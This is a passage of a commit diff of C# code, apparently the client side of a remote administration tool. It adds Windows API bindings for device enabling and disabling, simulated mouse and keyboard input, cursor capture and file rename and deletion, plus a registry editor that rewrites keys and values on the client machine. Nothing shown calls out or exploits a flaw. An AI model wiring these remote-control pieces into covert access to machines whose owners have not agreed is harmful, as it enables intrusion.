[StructLayout(LayoutKind.Sequential)]
|
||||
public struct SP_DEVINFO_DATA
|
||||
{
|
||||
public int Size;
|
||||
public Guid ClassGuid;
|
||||
public int DevInst;
|
||||
public IntPtr Reserved;
|
||||
}
|
||||
|
||||
public enum SPDRP : uint
|
||||
{
|
||||
/// <summary>
|
||||
/// DeviceDesc (R/W)
|
||||
/// </summary>
|
||||
SPDRP_DEVICEDESC = 0x00000000,
|
||||
|
||||
/// <summary>
|
||||
/// HardwareID (R/W)
|
||||
/// </summary>
|
||||
SPDRP_HARDWAREID = 0x00000001,
|
||||
|
||||
/// <summary>
|
||||
/// CompatibleIDs (R/W)
|
||||
/// </summary>
|
||||
SPDRP_COMPATIBLEIDS = 0x00000002,
|
||||
|
||||
/// <summary>
|
||||
/// unused
|
||||
/// </summary>
|
||||
SPDRP_UNUSED0 = 0x00000003,
|
||||
|
||||
/// <summary>
|
||||
/// Service (R/W)
|
||||
/// </summary>
|
||||
SPDRP_SERVICE = 0x00000004,
|
||||
|
||||
/// <summary>
|
||||
/// unused
|
||||
/// </summary>
|
||||
SPDRP_UNUSED1 = 0x00000005,
|
||||
|
||||
/// <summary>
|
||||
/// unused
|
||||
/// </summary>
|
||||
SPDRP_UNUSED2 = 0x00000006,
|
||||
|
||||
/// <summary>
|
||||
/// Class (R--tied to ClassGUID)
|
||||
/// </summary>
|
||||
SPDRP_CLASS = 0x00000007,
|
||||
|
||||
/// <summary>
|
||||
/// ClassGUID (R/W)
|
||||
/// </summary>
|
||||
SPDRP_CLASSGUID = 0x00000008,
|
||||
|
||||
/// <summary>
|
||||
/// Driver (R/W)
|
||||
/// </summary>
|
||||
SPDRP_DRIVER = 0x00000009,
|
||||
|
||||
/// <summary>
|
||||
/// ConfigFlags (R/W)
|
||||
/// </summary>
|
||||
SPDRP_CONFIGFLAGS = 0x0000000A,
|
||||
|
||||
/// <summary>
|
||||
/// Mfg (R/W)
|
||||
/// </summary>
|
||||
SPDRP_MFG = 0x0000000B,
|
||||
|
||||
/// <summary>
|
||||
/// FriendlyName (R/W)
|
||||
/// </summary>
|
||||
SPDRP_FRIENDLYNAME = 0x0000000C,
|
||||
|
||||
/// <summary>
|
||||
/// LocationInformation (R/W)
|
||||
/// </summary>
|
||||
SPDRP_LOCATION_INFORMATION = 0x0000000D,
|
||||
|
||||
/// <summary>
|
||||
/// PhysicalDeviceObjectName (R)
|
||||
/// </summary>
|
||||
SPDRP_PHYSICAL_DEVICE_OBJECT_NAME = 0x0000000E,
|
||||
|
||||
/// <summary>
|
||||
/// Capabilities (R)
|
||||
/// </summary>
|
||||
SPDRP_CAPABILITIES = 0x0000000F,
|
||||
|
||||
/// <summary>
|
||||
/// UiNumber (R)
|
||||
/// </summary>
|
||||
SPDRP_UI_NUMBER = 0x00000010,
|
||||
|
||||
/// <summary>
|
||||
/// UpperFilters (R/W)
|
||||
/// </summary>
|
||||
SPDRP_UPPERFILTERS = 0x00000011,
|
||||
|
||||
/// <summary>
|
||||
/// LowerFilters (R/W)
|
||||
/// </summary>
|
||||
SPDRP_LOWERFILTERS = 0x00000012,
|
||||
|
||||
/// <summary>
|
||||
/// BusTypeGUID (R)
|
||||
/// </summary>
|
||||
SPDRP_BUSTYPEGUID = 0x00000013,
|
||||
|
||||
/// <summary>
|
||||
/// LegacyBusType (R)
|
||||
/// </summary>
|
||||
SPDRP_LEGACYBUSTYPE = 0x00000014,
|
||||
|
||||
/// <summary>
|
||||
/// BusNumber (R)
|
||||
/// </summary>
|
||||
SPDRP_BUSNUMBER = 0x00000015,
|
||||
|
||||
/// <summary>
|
||||
/// Enumerator Name (R)
|
||||
/// </summary>
|
||||
SPDRP_ENUMERATOR_NAME = 0x00000016,
|
||||
|
||||
/// <summary>
|
||||
/// Security (R/W, binary form)
|
||||
/// </summary>
|
||||
SPDRP_SECURITY = 0x00000017,
|
||||
|
||||
/// <summary>
|
||||
/// Security (W, SDS form)
|
||||
/// </summary>
|
||||
SPDRP_SECURITY_SDS = 0x00000018,
|
||||
|
||||
/// <summary>
|
||||
/// Device Type (R/W)
|
||||
/// </summary>
|
||||
SPDRP_DEVTYPE = 0x00000019,
|
||||
|
||||
/// <summary>
|
||||
/// Device is exclusive-access (R/W)
|
||||
/// </summary>
|
||||
SPDRP_EXCLUSIVE = 0x0000001A,
|
||||
|
||||
/// <summary>
|
||||
/// Device Characteristics (R/W)
|
||||
/// </summary>
|
||||
SPDRP_CHARACTERISTICS = 0x0000001B,
|
||||
|
||||
/// <summary>
|
||||
/// Device Address (R)
|
||||
/// </summary>
|
||||
SPDRP_ADDRESS = 0x0000001C,
|
||||
|
||||
/// <summary>
|
||||
/// UiNumberDescFormat (R/W)
|
||||
/// </summary>
|
||||
SPDRP_UI_NUMBER_DESC_FORMAT = 0X0000001D,
|
||||
|
||||
/// <summary>
|
||||
/// Device Power Data (R)
|
||||
/// </summary>
|
||||
SPDRP_DEVICE_POWER_DATA = 0x0000001E,
|
||||
|
||||
/// <summary>
|
||||
/// Removal Policy (R)
|
||||
/// </summary>
|
||||
SPDRP_REMOVAL_POLICY = 0x0000001F,
|
||||
|
||||
/// <summary>
|
||||
/// Hardware Removal Policy (R)
|
||||
/// </summary>
|
||||
SPDRP_REMOVAL_POLICY_HW_DEFAULT = 0x00000020,
|
||||
|
||||
/// <summary>
|
||||
/// Removal Policy Override (RW)
|
||||
/// </summary>
|
||||
SPDRP_REMOVAL_POLICY_OVERRIDE = 0x00000021,
|
||||
|
||||
/// <summary>
|
||||
/// Device Install State (R)
|
||||
/// </summary>
|
||||
SPDRP_INSTALL_STATE = 0x00000022,
|
||||
|
||||
/// <summary>
|
||||
/// Device Location Paths (R)
|
||||
/// </summary>
|
||||
SPDRP_LOCATION_PATHS = 0x00000023
|
||||
}
|
||||
|
||||
public enum StateChangeAction
|
||||
{
|
||||
Enable = 1,
|
||||
Disable = 2,
|
||||
PropChange = 3,
|
||||
Start = 4,
|
||||
Stop = 5
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum Scopes
|
||||
{
|
||||
Global = 1,
|
||||
ConfigSpecific = 2,
|
||||
ConfigGeneral = 4
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct PropertyChangeParameters
|
||||
{
|
||||
public int Size;
|
||||
|
||||
// part of header. It's flattened out into 1 structure.
|
||||
public DiFunction DiFunction;
|
||||
public StateChangeAction StateChange;
|
||||
public Scopes Scope;
|
||||
public int HwProfile;
|
||||
}
|
||||
|
||||
public enum DiFunction
|
||||
{
|
||||
SelectDevice = 1,
|
||||
InstallDevice = 2,
|
||||
AssignResources = 3,
|
||||
Properties = 4,
|
||||
Remove = 5,
|
||||
FirstTimeSetup = 6,
|
||||
FoundDevice = 7,
|
||||
SelectClassDrivers = 8,
|
||||
ValidateClassDrivers = 9,
|
||||
InstallClassDrivers = 0xa,
|
||||
CalcDiskSpace = 0xb,
|
||||
DestroypublicData = 0xc,
|
||||
ValidateDriver = 0xd,
|
||||
Detect = 0xf,
|
||||
InstallWizard = 0x10,
|
||||
DestroyWizardData = 0x11,
|
||||
PropertyChange = 0x12,
|
||||
EnableClass = 0x13,
|
||||
DetectVerify = 0x14,
|
||||
InstallDeviceFiles = 0x15,
|
||||
UnRemove = 0x16,
|
||||
SelectBestCompatDrv = 0x17,
|
||||
AllowInstall = 0x18,
|
||||
RegisterDevice = 0x19,
|
||||
NewDeviceWizardPreSelect = 0x1a,
|
||||
NewDeviceWizardSelect = 0x1b,
|
||||
NewDeviceWizardPreAnalyze = 0x1c,
|
||||
NewDeviceWizardPostAnalyze = 0x1d,
|
||||
NewDeviceWizardFinishInstall = 0x1e,
|
||||
Unused1 = 0x1f,
|
||||
InstallInterfaces = 0x20,
|
||||
DetectCancel = 0x21,
|
||||
RegisterCoInstallers = 0x22,
|
||||
AddPropertyPageAdvanced = 0x23,
|
||||
AddPropertyPageBasic = 0x24,
|
||||
Reserved1 = 0x25,
|
||||
Troubleshooter = 0x26,
|
||||
PowerMessageWake = 0x27,
|
||||
AddRemotePropertyPageAdvanced = 0x28,
|
||||
UpdateDriverUI = 0x29,
|
||||
Reserved2 = 0x30
|
||||
}
|
||||
|
||||
[DllImport("setupapi.dll", CharSet = CharSet.Auto)]
|
||||
internal static extern IntPtr SetupDiGetClassDevs(ref Guid ClassGuid, IntPtr Enumerator, IntPtr hwndParent,
|
||||
DiGetClassFlags Flags);
|
||||
|
||||
[DllImport("setupapi.dll", SetLastError = true)]
|
||||
internal static extern bool SetupDiEnumDeviceInfo(IntPtr DeviceInfoSet, uint MemberIndex,
|
||||
ref SP_DEVINFO_DATA DeviceInfoData);
|
||||
|
||||
[DllImport("setupapi.dll", SetLastError = true)]
|
||||
internal static extern bool SetupDiDestroyDeviceInfoList(IntPtr DeviceInfoSet);
|
||||
|
||||
[DllImport("setupapi.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
internal static extern bool SetupDiGetDeviceRegistryProperty(IntPtr deviceInfoSet,
|
||||
ref SP_DEVINFO_DATA deviceInfoData, SPDRP property, out uint propertyRegDataType,
|
||||
StringBuilder propertyBuffer, uint propertyBufferSize, out uint requiredSize);
|
||||
|
||||
[DllImport("setupapi.dll", CallingConvention = CallingConvention.Winapi, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool SetupDiSetClassInstallParams(IntPtr deviceInfoSet,
|
||||
[In] ref SP_DEVINFO_DATA deviceInfoData,
|
||||
[In] ref PropertyChangeParameters classInstallParams,
|
||||
int classInstallParamsSize);
|
||||
|
||||
[DllImport("setupapi.dll", CallingConvention = CallingConvention.Winapi, SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
internal static extern bool SetupDiCallClassInstaller(DiFunction installFunction, IntPtr deviceInfoSet,
|
||||
[In] ref SP_DEVINFO_DATA deviceInfoData);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern void mouse_event(int dwFlags, int dx, int dy, uint dwData, int dwExtraInfo);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool keybd_event(byte bVk, byte bScan, uint dwFlags, UIntPtr dwExtraInfo);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct CURSORINFO
|
||||
{
|
||||
public int cbSize;
|
||||
public int flags;
|
||||
public IntPtr hCursor;
|
||||
public POINTAPI ptScreenPos;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct POINTAPI
|
||||
{
|
||||
public int x;
|
||||
public int y;
|
||||
}
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool GetCursorInfo(out CURSORINFO pci);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
public static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon);
|
||||
|
||||
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern IntPtr CreateFileW(string filename,
|
||||
uint desiredAccess,
|
||||
uint shareMode,
|
||||
IntPtr attributes,
|
||||
uint creationDisposition,
|
||||
uint flagsAndAttributes,
|
||||
IntPtr templateFile);
|
||||
|
||||
public enum FileInformationClass
|
||||
{
|
||||
FileBasicInfo = 0,
|
||||
FileStandardInfo = 1,
|
||||
FileNameInfo = 2,
|
||||
FileRenameInfo = 3,
|
||||
FileDispositionInfo = 4,
|
||||
FileAllocationInfo = 5,
|
||||
FileEndOfFileInfo = 6,
|
||||
FileStreamInfo = 7,
|
||||
FileCompressionInfo = 8,
|
||||
FileAttributeTagInfo = 9,
|
||||
FileIdBothDirectoryInfo = 10, // 0xA
|
||||
FileIdBothDirectoryRestartInfo = 11, // 0xB
|
||||
FileIoPriorityHintInfo = 12, // 0xC
|
||||
FileRemoteProtocolInfo = 13, // 0xD
|
||||
FileFullDirectoryInfo = 14, // 0xE
|
||||
FileFullDirectoryRestartInfo = 15, // 0xF
|
||||
FileStorageInfo = 16, // 0x10
|
||||
FileAlignmentInfo = 17, // 0x11
|
||||
FileIdInfo = 18, // 0x12
|
||||
FileIdExtdDirectoryInfo = 19, // 0x13
|
||||
FileIdExtdDirectoryRestartInfo = 20 // 0x14
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct FILE_DISPOSITION_INFO
|
||||
{
|
||||
public bool DeleteFile;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public struct FILE_RENAME_INFO
|
||||
{
|
||||
public uint ReplaceIfExists;
|
||||
public IntPtr RootDirectory;
|
||||
public uint FileNameLength; //this needs to be in bytes not chars
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
|
||||
public string FileName;
|
||||
}
|
||||
|
||||
[DllImport("Kernel32.dll", CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode,
|
||||
SetLastError = true)]
|
||||
public static extern bool SetFileInformationByHandle(IntPtr handle, FileInformationClass fileinformationclass,
|
||||
IntPtr pfileinformation, int buffersize);
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
public static extern bool SetProcessDPIAware();
|
||||
}
|
||||
}
|
|
@ -0,0 +1,137 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace Client.Helper.RegManager
|
||||
{
|
||||
public class ByteConverter
|
||||
{
|
||||
private static byte NULL_BYTE = byte.MinValue;
|
||||
|
||||
public static byte[] GetBytes(int value)
|
||||
{
|
||||
return BitConverter.GetBytes(value);
|
||||
}
|
||||
|
||||
public static byte[] GetBytes(long value)
|
||||
{
|
||||
return BitConverter.GetBytes(value);
|
||||
}
|
||||
|
||||
public static byte[] GetBytes(uint value)
|
||||
{
|
||||
return BitConverter.GetBytes(value);
|
||||
}
|
||||
|
||||
public static byte[] GetBytes(ulong value)
|
||||
{
|
||||
return BitConverter.GetBytes(value);
|
||||
}
|
||||
|
||||
public static byte[] GetBytes(string value)
|
||||
{
|
||||
return StringToBytes(value);
|
||||
}
|
||||
|
||||
public static byte[] GetBytes(string[] value)
|
||||
{
|
||||
return StringArrayToBytes(value);
|
||||
}
|
||||
|
||||
public static int ToInt32(byte[] bytes)
|
||||
{
|
||||
return BitConverter.ToInt32(bytes, 0);
|
||||
}
|
||||
|
||||
public static long ToInt64(byte[] bytes)
|
||||
{
|
||||
return BitConverter.ToInt64(bytes, 0);
|
||||
}
|
||||
|
||||
public static uint ToUInt32(byte[] bytes)
|
||||
{
|
||||
return BitConverter.ToUInt32(bytes, 0);
|
||||
}
|
||||
|
||||
public static ulong ToUInt64(byte[] bytes)
|
||||
{
|
||||
return BitConverter.ToUInt64(bytes, 0);
|
||||
}
|
||||
|
||||
public static string ToString(byte[] bytes)
|
||||
{
|
||||
return BytesToString(bytes);
|
||||
}
|
||||
|
||||
public static string[] ToStringArray(byte[] bytes)
|
||||
{
|
||||
return BytesToStringArray(bytes);
|
||||
}
|
||||
|
||||
private static byte[] GetNullBytes()
|
||||
{
|
||||
//Null bytes: 00 00
|
||||
return new[] {NULL_BYTE, NULL_BYTE};
|
||||
}
|
||||
|
||||
private static byte[] StringToBytes(string value)
|
||||
{
|
||||
var bytes = new byte[value.Length * sizeof(char)];
|
||||
Buffer.BlockCopy(value.ToCharArray(), 0, bytes, 0, bytes.Length);
|
||||
return bytes;
|
||||
}
|
||||
|
||||
private static byte[] StringArrayToBytes(string[] strings)
|
||||
{
|
||||
var bytes = new List<byte>();
|
||||
|
||||
foreach (var str in strings)
|
||||
{
|
||||
bytes.AddRange(StringToBytes(str));
|
||||
bytes.AddRange(GetNullBytes());
|
||||
}
|
||||
|
||||
return bytes.ToArray();
|
||||
}
|
||||
|
||||
private static string BytesToString(byte[] bytes)
|
||||
{
|
||||
var nrChars = (int) Math.Ceiling(bytes.Length / (float) sizeof(char));
|
||||
var chars = new char[nrChars];
|
||||
Buffer.BlockCopy(bytes, 0, chars, 0, bytes.Length);
|
||||
return new string(chars);
|
||||
}
|
||||
|
||||
private static string[] BytesToStringArray(byte[] bytes)
|
||||
{
|
||||
var strings = new List<string>();
|
||||
|
||||
var i = 0;
|
||||
var strBuilder = new StringBuilder(bytes.Length);
|
||||
while (i < bytes.Length)
|
||||
{
|
||||
//Holds the number of nulls (3 nulls indicated end of a string)
|
||||
var nullcount = 0;
|
||||
while (i < bytes.Length && nullcount < 3)
|
||||
{
|
||||
if (bytes[i] == NULL_BYTE)
|
||||
{
|
||||
nullcount++;
|
||||
}
|
||||
else
|
||||
{
|
||||
strBuilder.Append(Convert.ToChar(bytes[i]));
|
||||
nullcount = 0;
|
||||
}
|
||||
|
||||
i++;
|
||||
}
|
||||
|
||||
strings.Add(strBuilder.ToString());
|
||||
strBuilder = null;
|
||||
}
|
||||
|
||||
return strings.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,398 @@
|
|||
using System;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Client.Helper.RegManager
|
||||
{
|
||||
public class RegistryEditor
|
||||
{
|
||||
private const string REGISTRY_KEY_CREATE_ERROR = "Cannot create key: Error writing to the registry";
|
||||
|
||||
private const string REGISTRY_KEY_DELETE_ERROR = "Cannot delete key: Error writing to the registry";
|
||||
|
||||
private const string REGISTRY_KEY_RENAME_ERROR = "Cannot rename key: Error writing to the registry";
|
||||
|
||||
private const string REGISTRY_VALUE_CREATE_ERROR = "Cannot create value: Error writing to the registry";
|
||||
|
||||
private const string REGISTRY_VALUE_DELETE_ERROR = "Cannot delete value: Error writing to the registry";
|
||||
|
||||
private const string REGISTRY_VALUE_RENAME_ERROR = "Cannot rename value: Error writing to the registry";
|
||||
|
||||
private const string REGISTRY_VALUE_CHANGE_ERROR = "Cannot change value: Error writing to the registry";
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to create the desired sub key to the specified parent.
|
||||
/// </summary>
|
||||
/// <param name="parentPath">The path to the parent for which to create the sub-key on.</param>
|
||||
/// <param name="name">output parameter that holds the name of the sub-key that was create.</param>
|
||||
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||
/// <returns>Returns true if action succeeded.</returns>
|
||||
public static bool CreateRegistryKey(string parentPath, out string name, out string errorMsg)
|
||||
{
|
||||
name = "";
|
||||
try
|
||||
{
|
||||
var parent = GetWritableRegistryKey(parentPath);
|
||||
|
||||
|
||||
//Invalid can not open parent
|
||||
if (parent == null)
|
||||
{
|
||||
errorMsg = "You do not have write access to registry: " + parentPath +
|
||||
", try running client as administrator";
|
||||
return false;
|
||||
}
|
||||
|
||||
//Try to find available names
|
||||
var i = 1;
|
||||
var testName = $"New Key #{i}";
|
||||
|
||||
while (parent.ContainsSubKey(testName))
|
||||
{
|
||||
i++;
|
||||
testName = $"New Key #{i}";
|
||||
}
|
||||
|
||||
name = testName;
|
||||
|
||||
using (var child = parent.CreateSubKeySafe(name))
|
||||
{
|
||||
//Child could not be created
|
||||
if (child == null)
|
||||
{
|
||||
errorMsg = REGISTRY_KEY_CREATE_ERROR;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
//Child was successfully created
|
||||
errorMsg = "";
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
errorMsg = ex.Message;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to delete the desired sub-key from the specified parent.
|
||||
/// </summary>
|
||||
/// <param name="name">The name of the sub-key to delete.</param>
|
||||
/// <param name="parentPath">The path to the parent for which to delete the sub-key on.</param>
|
||||
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||
/// <returns>Returns true if the operation succeeded.</returns>
|
||||
public static bool DeleteRegistryKey(string name, string parentPath, out string errorMsg)
|
||||
{
|
||||
try
|
||||
{
|
||||
var parent = GetWritableRegistryKey(parentPath);
|
||||
|
||||
//Invalid can not open parent
|
||||
if (parent == null)
|
||||
{
|
||||
errorMsg = "You do not have write access to registry: " + parentPath +
|
||||
", try running client as administrator";
|
||||
return false;
|
||||
}
|
||||
|
||||
//Child does not exist
|
||||
if (!parent.ContainsSubKey(name))
|
||||
{
|
||||
errorMsg = "The registry: " + name + " does not exist in: " + parentPath;
|
||||
//If child does not exists then the action has already succeeded
|
||||
return true;
|
||||
}
|
||||
|
||||
var success = parent.DeleteSubKeyTreeSafe(name);
|
||||
|
||||
//Child could not be deleted
|
||||
if (!success)
|
||||
{
|
||||
errorMsg = REGISTRY_KEY_DELETE_ERROR;
|
||||
return false;
|
||||
}
|
||||
|
||||
//Child was successfully deleted
|
||||
errorMsg = "";
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
errorMsg = ex.Message;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to rename the desired key.
|
||||
/// </summary>
|
||||
/// <param name="oldName">The name of the key to rename.</param>
|
||||
/// <param name="newName">The name to use for renaming.</param>
|
||||
/// <param name="parentPath">The path of the parent for which to rename the key.</param>
|
||||
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||
/// <returns>Returns true if the operation succeeded.</returns>
|
||||
public static bool RenameRegistryKey(string oldName, string newName, string parentPath, out string errorMsg)
|
||||
{
|
||||
try
|
||||
{
|
||||
var parent = GetWritableRegistryKey(parentPath);
|
||||
|
||||
//Invalid can not open parent
|
||||
if (parent == null)
|
||||
{
|
||||
errorMsg = "You do not have write access to registry: " + parentPath +
|
||||
", try running client as administrator";
|
||||
return false;
|
||||
}
|
||||
|
||||
//Child does not exist
|
||||
if (!parent.ContainsSubKey(oldName))
|
||||
{
|
||||
errorMsg = "The registry: " + oldName + " does not exist in: " + parentPath;
|
||||
return false;
|
||||
}
|
||||
|
||||
var success = parent.RenameSubKeySafe(oldName, newName);
|
||||
|
||||
//Child could not be renamed
|
||||
if (!success)
|
||||
{
|
||||
errorMsg = REGISTRY_KEY_RENAME_ERROR;
|
||||
return false;
|
||||
}
|
||||
|
||||
//Child was successfully renamed
|
||||
errorMsg = "";
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
errorMsg = ex.Message;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to create the desired value for the specified parent.
|
||||
/// </summary>
|
||||
/// <param name="keyPath">The path to the key for which to create the registry value on.</param>
|
||||
/// <param name="kind">The type of the registry value to create.</param>
|
||||
/// <param name="name">output parameter that holds the name of the registry value that was create.</param>
|
||||
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||
/// <returns>Returns true if the operation succeeded.</returns>
|
||||
public static bool CreateRegistryValue(string keyPath, RegistryValueKind kind, out string name,
|
||||
out string errorMsg)
|
||||
{
|
||||
name = "";
|
||||
try
|
||||
{
|
||||
var key = GetWritableRegistryKey(keyPath);
|
||||
|
||||
//Invalid can not open key
|
||||
if (key == null)
|
||||
{
|
||||
errorMsg = "You do not have write access to registry: " + keyPath +
|
||||
", try running client as administrator";
|
||||
return false;
|
||||
}
|
||||
|
||||
//Try to find available names
|
||||
var i = 1;
|
||||
var testName = $"New Value #{i}";
|
||||
|
||||
while (key.ContainsValue(testName))
|
||||
{
|
||||
i++;
|
||||
testName = $"New Value #{i}";
|
||||
}
|
||||
|
||||
name = testName;
|
||||
|
||||
var success = key.SetValueSafe(name, kind.GetDefault(), kind);
|
||||
|
||||
//Value could not be created
|
||||
if (!success)
|
||||
{
|
||||
errorMsg = REGISTRY_VALUE_CREATE_ERROR;
|
||||
return false;
|
||||
}
|
||||
|
||||
//Value was successfully created
|
||||
errorMsg = "";
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
errorMsg = ex.Message;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to delete the desired registry value from the specified key.
|
||||
/// </summary>
|
||||
/// <param name="keyPath">The path to the key for which to delete the registry value on.</param>
|
||||
/// /// <param name="name">The name of the registry value to delete.</param>
|
||||
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||
/// <returns>Returns true if the operation succeeded.</returns>
|
||||
public static bool DeleteRegistryValue(string keyPath, string name, out string errorMsg)
|
||||
{
|
||||
try
|
||||
{
|
||||
var key = GetWritableRegistryKey(keyPath);
|
||||
|
||||
//Invalid can not open key
|
||||
if (key == null)
|
||||
{
|
||||
errorMsg = "You do not have write access to registry: " + keyPath +
|
||||
", try running client as administrator";
|
||||
return false;
|
||||
}
|
||||
|
||||
//Value does not exist
|
||||
if (!key.ContainsValue(name))
|
||||
{
|
||||
errorMsg = "The value: " + name + " does not exist in: " + keyPath;
|
||||
//If value does not exists then the action has already succeeded
|
||||
return true;
|
||||
}
|
||||
|
||||
var success = key.DeleteValueSafe(name);
|
||||
|
||||
//Value could not be deleted
|
||||
if (!success)
|
||||
{
|
||||
errorMsg = REGISTRY_VALUE_DELETE_ERROR;
|
||||
return false;
|
||||
}
|
||||
|
||||
//Value was successfully deleted
|
||||
errorMsg = "";
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
errorMsg = ex.Message;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to rename the desired registry value.
|
||||
/// </summary>
|
||||
/// <param name="oldName">The name of the registry value to rename.</param>
|
||||
/// <param name="newName">The name to use for renaming.</param>
|
||||
/// <param name="keyPath">The path of the key for which to rename the registry value.</param>
|
||||
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||
/// <returns>Returns true if the operation succeeded.</returns>
|
||||
public static bool RenameRegistryValue(string oldName, string newName, string keyPath, out string errorMsg)
|
||||
{
|
||||
try
|
||||
{
|
||||
var key = GetWritableRegistryKey(keyPath);
|
||||
|
||||
//Invalid can not open key
|
||||
if (key == null)
|
||||
{
|
||||
errorMsg = "You do not have write access to registry: " + keyPath +
|
||||
", try running client as administrator";
|
||||
return false;
|
||||
}
|
||||
|
||||
//Value does not exist
|
||||
if (!key.ContainsValue(oldName))
|
||||
{
|
||||
errorMsg = "The value: " + oldName + " does not exist in: " + keyPath;
|
||||
return false;
|
||||
}
|
||||
|
||||
var success = key.RenameValueSafe(oldName, newName);
|
||||
|
||||
//Value could not be renamed
|
||||
if (!success)
|
||||
{
|
||||
errorMsg = REGISTRY_VALUE_RENAME_ERROR;
|
||||
return false;
|
||||
}
|
||||
|
||||
//Value was successfully renamed
|
||||
errorMsg = "";
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
errorMsg = ex.Message;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Attempts to change the value for the desired registry value for the
|
||||
/// specified key.
|
||||
/// </summary>
|
||||
/// <param name="value">The registry value to change to in the form of a
|
||||
/// RegValueData object.</param>
|
||||
/// <param name="keyPath">The path to the key for which to change the
|
||||
/// value of the registry value on.</param>
|
||||
/// <param name="errorMsg">output parameter that contains possible error message.</param>
|
||||
/// <returns>Returns true if the operation succeeded.</returns>
|
||||
public static bool ChangeRegistryValue(RegistrySeeker.RegValueData value, string keyPath, out string errorMsg)
|
||||
{
|
||||
try
|
||||
{
|
||||
var key = GetWritableRegistryKey(keyPath);
|
||||
|
||||
//Invalid can not open key
|
||||
if (key == null)
|
||||
{
|
||||
errorMsg = "You do not have write access to registry: " + keyPath +
|
||||
", try running client as administrator";
|
||||
return false;
|
||||
}
|
||||
|
||||
//Is not default value and does not exist
|
||||
if (!RegistryKeyHelper.IsDefaultValue(value.Name) && !key.ContainsValue(value.Name))
|
||||
{
|
||||
errorMsg = "The value: " + value.Name + " does not exist in: " + keyPath;
|
||||
return false;
|
||||
}
|
||||
|
||||
var success = key.SetValueSafe(value.Name, value.Data, value.Kind);
|
||||
|
||||
//Value could not be created
|
||||
if (!success)
|
||||
{
|
||||
errorMsg = REGISTRY_VALUE_CHANGE_ERROR;
|
||||
return false;
|
||||
}
|
||||
|
||||
//Value was successfully created
|
||||
errorMsg = "";
|
||||
return true;
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
errorMsg = ex.Message;
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public static RegistryKey GetWritableRegistryKey(string keyPath)
|
||||
{
|
||||
var key = RegistrySeeker.GetRootKey(keyPath);
|
||||
|
||||
if (key != null)
|
||||
//Check if this is a root key or not
|
||||
if (key.Name != keyPath)
|
||||
{
|
||||
//Must get the subKey name by removing root and '\\'
|
||||
var subKeyName = keyPath.Substring(key.Name.Length + 1);
|
||||
|
||||
key = key.OpenWritableSubKeySafe(subKeyName);
|
||||
}
|
||||
|
||||
return key;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,147 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.Reflection;
|
||||
using Microsoft.Win32;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
|
||||
namespace Client.Helper.RegManager
|
||||
{
|
||||
internal static class RegistryExtensions
|
||||
{
|
||||
[Flags]
|
||||
public enum RegistryAccessMask
|
||||
{
|
||||
QueryValue = 0x0001,
|
||||
SetValue = 0x0002,
|
||||
CreateSubKey = 0x0004,
|
||||
EnumerateSubKeys = 0x0008,
|
||||
Notify = 0x0010,
|
||||
CreateLink = 0x0020,
|
||||
WoW6432 = 0x0200,
|
||||
Wow6464 = 0x0100,
|
||||
Write = 0x20006,
|
||||
Read = 0x20019,
|
||||
